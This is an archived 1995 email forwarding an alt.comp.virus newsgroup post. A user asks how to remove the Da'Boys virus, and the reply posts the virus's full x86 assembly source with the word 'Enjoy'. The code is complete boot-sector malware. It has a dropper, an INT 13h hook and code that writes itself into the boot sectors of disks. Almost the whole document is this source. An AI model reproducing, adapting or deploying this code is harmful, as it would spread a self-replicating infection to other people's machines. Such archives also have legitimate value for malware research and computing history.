home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DABOYS.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  7KB  |  303 lines

  1. From smtp Fri Mar 24 16:17 EST 1995
  2. Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST
  3. Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500
  4. Date: Fri, 24 Mar 1995 16:21:26 -0500
  5. From: Eric Kilby <ekilby@lynx.dac.neu.edu>
  6. Content-Length: 6924
  7. Content-Type: text
  8. Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu>
  9. To: joshuaw@pobox.jwu.edu
  10. Subject: (fwd) Re: Da'boys viurs, new?
  11. Newsgroups: alt.comp.virus
  12. Status: O
  13.  
  14. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail
  15. From: yojimbo@crl.com (Douglas Mauldin)
  16. Newsgroups: alt.comp.virus
  17. Subject: Re: Da'boys viurs, new?
  18. Date: 23 Mar 1995 23:25:53 -0800
  19. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  20. Lines: 276
  21. Message-ID: <3kts61$1a3@crl9.crl.com>
  22. References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>
  23. NNTP-Posting-Host: crl9.crl.com
  24. X-Newsreader: TIN [version 1.2 PL2]
  25.  
  26. ;: does anyone know what this virus does?  how dangerous is it
  27. ;: and how do i remove it from my boot sector if the disk is not
  28. ;: a bootable one?  
  29.  
  30. ;From THe QUaRaNTiNE archives: Da'Boys Source-
  31. ;Enjoy...
  32.  
  33. cseg        segment    para    public    'code'
  34. da_boys        proc    near
  35. assume        cs:cseg
  36.  
  37. ;-----------------------------------------------------------------------------
  38.  
  39. .186
  40. TRUE        equ    001h
  41. FALSE        equ    000h
  42.  
  43. ;-----------------------------------------------------------------------------
  44.  
  45. ;option                     bytes used
  46.  
  47. COM4_OFF    equ    TRUE    ;  3 bytes
  48. DA_BOYS_TEXT    equ    TRUE    ;  6 bytes
  49.  
  50. ;-----------------------------------------------------------------------------
  51.  
  52. ADDR_MUL    equ    004h
  53. BIOS_INT_13    equ    0c6h
  54. BOOT_INT    equ    019h
  55. BOOT_OFFSET    equ    07c00h
  56. COM4_OFFSET    equ    00406h
  57. COM_OFFSET    equ    00100h
  58. DISK_INT    equ    013h
  59. DOS_GET_INT    equ    03500h
  60. DOS_INT        equ    021h
  61. DOS_SET_INT    equ    02500h
  62. FIRST_SECTOR    equ    00001h
  63. INITIAL_BX    equ    00078h
  64. LOW_CODE    equ    0021dh
  65. NEW_INT_13_LOOP    equ    0cdh
  66. READ_A_SECTOR    equ    00201h
  67. RETURN_NEAR    equ    0c3h
  68. SECTOR_SIZE    equ    00200h
  69. TERMINATE_W_ERR    equ    04c00h
  70. TWO_BYTES    equ    002h
  71. VIRGIN_INT_13_B    equ    007b4h
  72. WRITE_A_SECTOR    equ    00301h
  73.  
  74. ;-----------------------------------------------------------------------------
  75.  
  76. io_seg        segment    at 00070h
  77.         org    00000h
  78. io_sys_loads_at    label    word
  79. io_seg        ends
  80.  
  81. ;-----------------------------------------------------------------------------
  82.  
  83. bios_seg    segment    at 0f000h
  84.         org    09315h
  85. original_int_13    label    word
  86. bios_seg    ends
  87.  
  88. ;-----------------------------------------------------------------------------
  89.  
  90.         org    COM_OFFSET
  91. com_code:
  92.  
  93. ;-----------------------------------------------------------------------------
  94.  
  95. dropper        proc    near
  96.         xor    ax,ax
  97.         mov    ds,ax
  98.         lds    dx,dword ptr ds:[VIRGIN_INT_13_B]
  99.         mov    ax,DOS_SET_INT+BIOS_INT_13
  100.         int    DOS_INT
  101.         mov    dx,offset interrupt_13+LOW_CODE-offset old_jz
  102.         xor    ax,ax
  103.         mov    ds,ax
  104.         mov    ax,DOS_SET_INT+DISK_INT
  105.         int    DOS_INT
  106.         mov    di,LOW_CODE
  107.         mov    si,offset old_jz
  108.         push    ds
  109.         pop    es
  110.         call    move_to_boot
  111.         mov    ax,READ_A_SECTOR
  112.         mov    cx,FIRST_SECTOR
  113.         mov    dx,00180h
  114.         mov    bx,offset buffer
  115.         push    cs
  116.         pop    es
  117.         int    DISK_INT
  118. already_set:    mov    ax,TERMINATE_W_ERR
  119.         int    DOS_INT
  120. dropper        endp
  121.  
  122.  
  123. ;-----------------------------------------------------------------------------
  124.  
  125.         org    00048h+COM_OFFSET
  126.         call    initialize
  127.  
  128. ;-----------------------------------------------------------------------------
  129.  
  130.         org    000ebh+COM_OFFSET
  131. old_jz:        jz    old_code
  132.  
  133. ;-----------------------------------------------------------------------------
  134.  
  135.         org    00edh+COM_OFFSET
  136.  
  137. ;-----------------------------------------------------------------------------
  138.  
  139. error:        jmp    error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
  140. move_to_low:    mov    si,offset old_jz+BOOT_OFFSET-COM_OFFSET
  141.         xor    ax,ax
  142. move_to_boot:    mov    cx,offset jmp_old_int_13-offset    old_jz+1
  143.         pushf
  144.         cld
  145.         rep    movs byte ptr es:[di],cs:[si]
  146.         popf
  147.         ret
  148.  
  149. ;-----------------------------------------------------------------------------
  150.  
  151. old_code:    mov    ax,word    ptr ds:[bx+01ah]
  152.         dec    ax
  153.         dec    ax
  154.         mov    di,BOOT_OFFSET+049h
  155.         mov    bl,byte    ptr ds:[di-03ch]
  156.         xor    bh,bh
  157.         mul    bx
  158.         add    ax,word    ptr ds:[di]
  159.         adc    dx,word    ptr ds:[di+002h]
  160.         mov    bx,00700h
  161.         mov    cl,003h
  162. old_loop:    pusha
  163.         call    more_old_code
  164.         popa
  165.         jc    error
  166.         add    ax,0001h
  167.         adc    dx,00h
  168.         add    bx,word    ptr ds:[di-03eh]
  169.         loop    old_loop
  170.         mov    ch,byte    ptr ds:[di-034h]
  171.         mov    dl,byte    ptr ds:[di-025h]
  172.         mov    bx,word    ptr ds:[di]
  173.         mov    ax,word    ptr ds:[di+002h]
  174.         jmp    far ptr    io_sys_loads_at
  175.  
  176. ;-----------------------------------------------------------------------------
  177.  
  178. initialize:    mov    bx,INITIAL_BX
  179.         mov    di,LOW_CODE
  180.         push    ss
  181.         pop    ds
  182.         jmp    short set_interrupts
  183.  
  184. ;-----------------------------------------------------------------------------
  185.  
  186. error_will_jmp:    mov    bx,BOOT_OFFSET
  187.         IF    DA_BOYS_TEXT
  188.         db    'DA',027h,'BOYS'
  189.         ELSE
  190.         push    bx
  191.         ENDIF
  192.         mov    ax,00100h
  193.         mov    dx,08000h
  194. load_from_disk:    mov    cx,ax
  195.         mov    ax,READ_A_SECTOR
  196.         xchg    ch,cl
  197.         xchg    dh,dl
  198.         int    DISK_INT
  199.         ret
  200.  
  201. ;-----------------------------------------------------------------------------
  202.  
  203.         org    00160h+COM_OFFSET
  204.  
  205. ;-----------------------------------------------------------------------------
  206.  
  207. more_old_code:    mov    si,BOOT_OFFSET+018h
  208.         cmp    dx,word    ptr ds:[si]
  209.         jnb    stc_return
  210.         div    word ptr ds:[si]
  211.         inc    dl
  212.         mov    ch,dl
  213.         xor    dx,dx
  214.         IF    COM4_OFF
  215.         mov    word ptr ds:[COM4_OFFSET],dx
  216.         ENDIF
  217.         div    word ptr ds:[si+002h]
  218.         mov    dh,byte    ptr ds:[si+00ch]
  219.         shl    ah,006h
  220.         or    ah,ch
  221.         jmp    short load_from_disk
  222. stc_return:    stc
  223.         ret
  224.  
  225. ;-----------------------------------------------------------------------------
  226.  
  227.         org    0181h+COM_OFFSET
  228.         ret
  229.  
  230. ;-----------------------------------------------------------------------------
  231.  
  232. restart_it:    int    BOOT_INT
  233.  
  234. ;-----------------------------------------------------------------------------
  235.  
  236. set_interrupts:    cmp    word ptr ds:[di],ax
  237.         jne    is_resident
  238.         mov    word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
  239.         xchg    word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
  240.         mov    word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
  241.         mov    ax,offset interrupt_13+LOW_CODE-offset old_jz
  242.         mov    word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
  243.         xchg    word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
  244.         mov    word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
  245. is_resident:    jmp    move_to_low
  246.  
  247. ;-----------------------------------------------------------------------------
  248.  
  249. interrupt_13    proc    far
  250.         cmp    ah,high(READ_A_SECTOR)
  251.         jne    jmp_old_int_13
  252.         cmp    cx,FIRST_SECTOR
  253.         jne    jmp_old_int_13
  254.         cmp    dh,cl
  255.         ja    jmp_old_int_13
  256.         pusha
  257.         int    BIOS_INT_13
  258.         jc    not_boot_sect
  259.         mov    ax,0efe8h
  260.         xchg    word ptr es:[bx+048h],ax
  261.         cmp    ax,078bbh
  262.         jne    not_boot_sect
  263.         mov    di,bx
  264.         add    di,offset old_jz-COM_OFFSET
  265.         cmp    bh,high(BOOT_OFFSET)
  266.         pushf
  267.         jne    no_key_press
  268.         mov    byte ptr es:[di+00ch],RETURN_NEAR
  269.         pusha
  270.         call    near ptr hit_any_key
  271.         popa
  272. no_key_press:    mov    ax,WRITE_A_SECTOR
  273.         mov    si,LOW_CODE
  274.         call    move_to_boot
  275.         inc    cx
  276.         int    BIOS_INT_13
  277.         popf
  278.         je    restart_it
  279. not_boot_sect:    popa
  280. interrupt_13    endp
  281.  
  282. ;-----------------------------------------------------------------------------
  283.  
  284.         org    001e5h+COM_OFFSET
  285. jmp_old_int_13:    jmp    far ptr    original_int_13
  286.  
  287. ;-----------------------------------------------------------------------------
  288.  
  289. buffer        db    SECTOR_SIZE dup    (0)
  290.  
  291. ;-----------------------------------------------------------------------------
  292.  
  293.         org    07cedh-LOW_CODE+offset old_jz
  294. hit_any_key    label    word
  295.  
  296. ;-----------------------------------------------------------------------------
  297.  
  298. da_boys        endp
  299. cseg        ends
  300. end        com_code
  301.  
  302.  
  303.